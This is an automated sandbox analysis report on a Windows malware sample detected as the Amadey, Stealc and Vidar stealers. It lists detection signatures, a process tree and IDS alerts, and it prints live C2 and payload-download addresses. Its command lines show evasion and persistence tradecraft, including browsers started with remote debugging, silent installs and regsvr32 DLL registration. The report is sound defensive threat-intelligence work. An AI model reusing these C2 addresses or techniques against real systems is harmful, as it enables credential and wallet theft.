Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1560505
MD5:	685f2f3ccfb3958f91e4b8e865cd28d5
SHA1:	4f9a41e63353f568e1aa31dc9ed97e13c5804d22
SHA256:	945f5a2a5fe604802e4aadaa8ef136a11c9a0b89d1c8eff471cf2ddf355aefd4
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries keyboard layouts

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Potential Regsvr32 Commandline Flag Anomaly

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7840 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 685F2F3CCFB3958F91E4B8E865CD28D5)

chrome.exe (PID: 8172 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6804 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2072,i,2579720716033033678,1062830349227764566,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 6976 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3916 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2488 --field-trial-handle=2396,i,17343823971388539006,1664554202216569598,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 6488 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCAEHJJKFC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsHCAEHJJKFC.exe (PID: 9000 cmdline: "C:\Users\user\DocumentsHCAEHJJKFC.exe" MD5: 6AED281D1464E3A53839BBD9E7190535)

skotes.exe (PID: 7580 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 6AED281D1464E3A53839BBD9E7190535)

msedge.exe (PID: 5188 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1180 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8608 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6336 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8644 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6492 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8416 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7528 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 7544 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6AED281D1464E3A53839BBD9E7190535)

skotes.exe (PID: 8448 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6AED281D1464E3A53839BBD9E7190535)

FunnyJellyfish.exe (PID: 6544 cmdline: "C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" MD5: E1CF72329542DE8B3004517EE07D8371)

FunnyJellyfish.tmp (PID: 2408 cmdline: "C:\Users\user~1\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp" /SL5="$3025E,1097818,140800,C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" MD5: 14C6FA8E50B4147075EB922BD0C8B28D)

cmd.exe (PID: 3744 cmdline: "cmd.exe" /C timeout /T 3 & "C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7092 cmdline: timeout /T 3 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

FunnyJellyfish.exe (PID: 4920 cmdline: "C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES MD5: E1CF72329542DE8B3004517EE07D8371)

FunnyJellyfish.tmp (PID: 6120 cmdline: "C:\Users\user~1\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp" /SL5="$104A2,1097818,140800,C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES MD5: 14C6FA8E50B4147075EB922BD0C8B28D)

regsvr32.exe (PID: 5192 cmdline: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\DelightfulCard.dll" MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

regsvr32.exe (PID: 7264 cmdline: /s /i:INSTALL "C:\Users\user\AppData\Roaming\\DelightfulCard.dll" MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

powershell.exe (PID: 1088 cmdline: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000016.00000003.1974488735.0000000005280000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2017592624.0000000000401000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.2618969757.0000000000401000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1920780463.00000000005B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1396197301.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1920780463.000000000067C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000003.2404125095.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.2015690259.0000000000401000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.1921785007.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.1977021442.0000000000AF1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.1977420632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1922769544.000000000110E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7840	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7840	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7840	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7840	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.skotes.exe.400000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.DocumentsHCAEHJJKFC.exe.af0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.400000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.400000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Source: Process started

Author: elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }", CommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /s /i:INSTALL "C:\Users\user\AppData\Roaming\\DelightfulCard.dll", ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 7264, ParentProcessName: regsvr32.exe, ProcessCommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }", ProcessId: 1088, ProcessName: powershell.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7840, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 8172, ProcessName: chrome.exe

Sigma detected: Potential Regsvr32 Commandline Flag Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\DelightfulCard.dll", CommandLine: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\DelightfulCard.dll", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp" /SL5="$104A2,1097818,140800,C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES, ParentImage: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp, ParentProcessId: 6120, ParentProcessName: FunnyJellyfish.tmp, ProcessCommandLine: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\DelightfulCard.dll", ProcessId: 5192, ProcessName: regsvr32.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: "C:\Users\user\DocumentsHCAEHJJKFC.exe" , ParentImage: C:\Users\user\DocumentsHCAEHJJKFC.exe, ParentProcessId: 9000, ParentProcessName: DocumentsHCAEHJJKFC.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , ProcessId: 7580, ProcessName: skotes.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }", CommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /s /i:INSTALL "C:\Users\user\AppData\Roaming\\DelightfulCard.dll", ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 7264, ParentProcessName: regsvr32.exe, ProcessCommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }", ProcessId: 1088, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }", CommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /s /i:INSTALL "C:\Users\user\AppData\Roaming\\DelightfulCard.dll", ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 7264, ParentProcessName: regsvr32.exe, ProcessCommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }", ProcessId: 1088, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:06:17.986392+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50124	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:04:27.330105+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49722	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:04:27.206422+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49722	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:04:27.674253+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49722	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:04:29.279507+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49722	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:04:27.805000+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49722	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:04:26.731964+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49722	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:06:06.817554+0100	2856147	1	A Network Trojan was detected	192.168.2.7	50105	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:06:16.603787+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	50110	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:06:11.408078+0100	2803305	3	Unknown Traffic	192.168.2.7	50112	31.41.244.11	80	TCP
2024-11-21T22:06:19.474981+0100	2803305	3	Unknown Traffic	192.168.2.7	50128	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:04:30.007737+0100	2803304	3	Unknown Traffic	192.168.2.7	49722	185.215.113.206	80	TCP
2024-11-21T22:04:52.776538+0100	2803304	3	Unknown Traffic	192.168.2.7	49819	185.215.113.206	80	TCP
2024-11-21T22:04:54.850929+0100	2803304	3	Unknown Traffic	192.168.2.7	49819	185.215.113.206	80	TCP
2024-11-21T22:04:56.156698+0100	2803304	3	Unknown Traffic	192.168.2.7	49819	185.215.113.206	80	TCP
2024-11-21T22:04:57.232883+0100	2803304	3	Unknown Traffic	192.168.2.7	49819	185.215.113.206	80	TCP
2024-11-21T22:05:00.766802+0100	2803304	3	Unknown Traffic	192.168.2.7	49819	185.215.113.206	80	TCP
2024-11-21T22:05:01.842844+0100	2803304	3	Unknown Traffic	192.168.2.7	49819	185.215.113.206	80	TCP
2024-11-21T22:05:07.982785+0100	2803304	3	Unknown Traffic	192.168.2.7	49953	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.41.244.11/files/FunnyJellyfish.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpOS=Windows_NTPat	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dllM	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000016.00000003.1974488735.0000000005280000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.7840.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CE9A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE944C0 PK11_PubEncrypt,	0_2_6CE944C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE94440 PK11_PrivDecrypt,	0_2_6CE94440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE64420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CE64420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CEE25B0
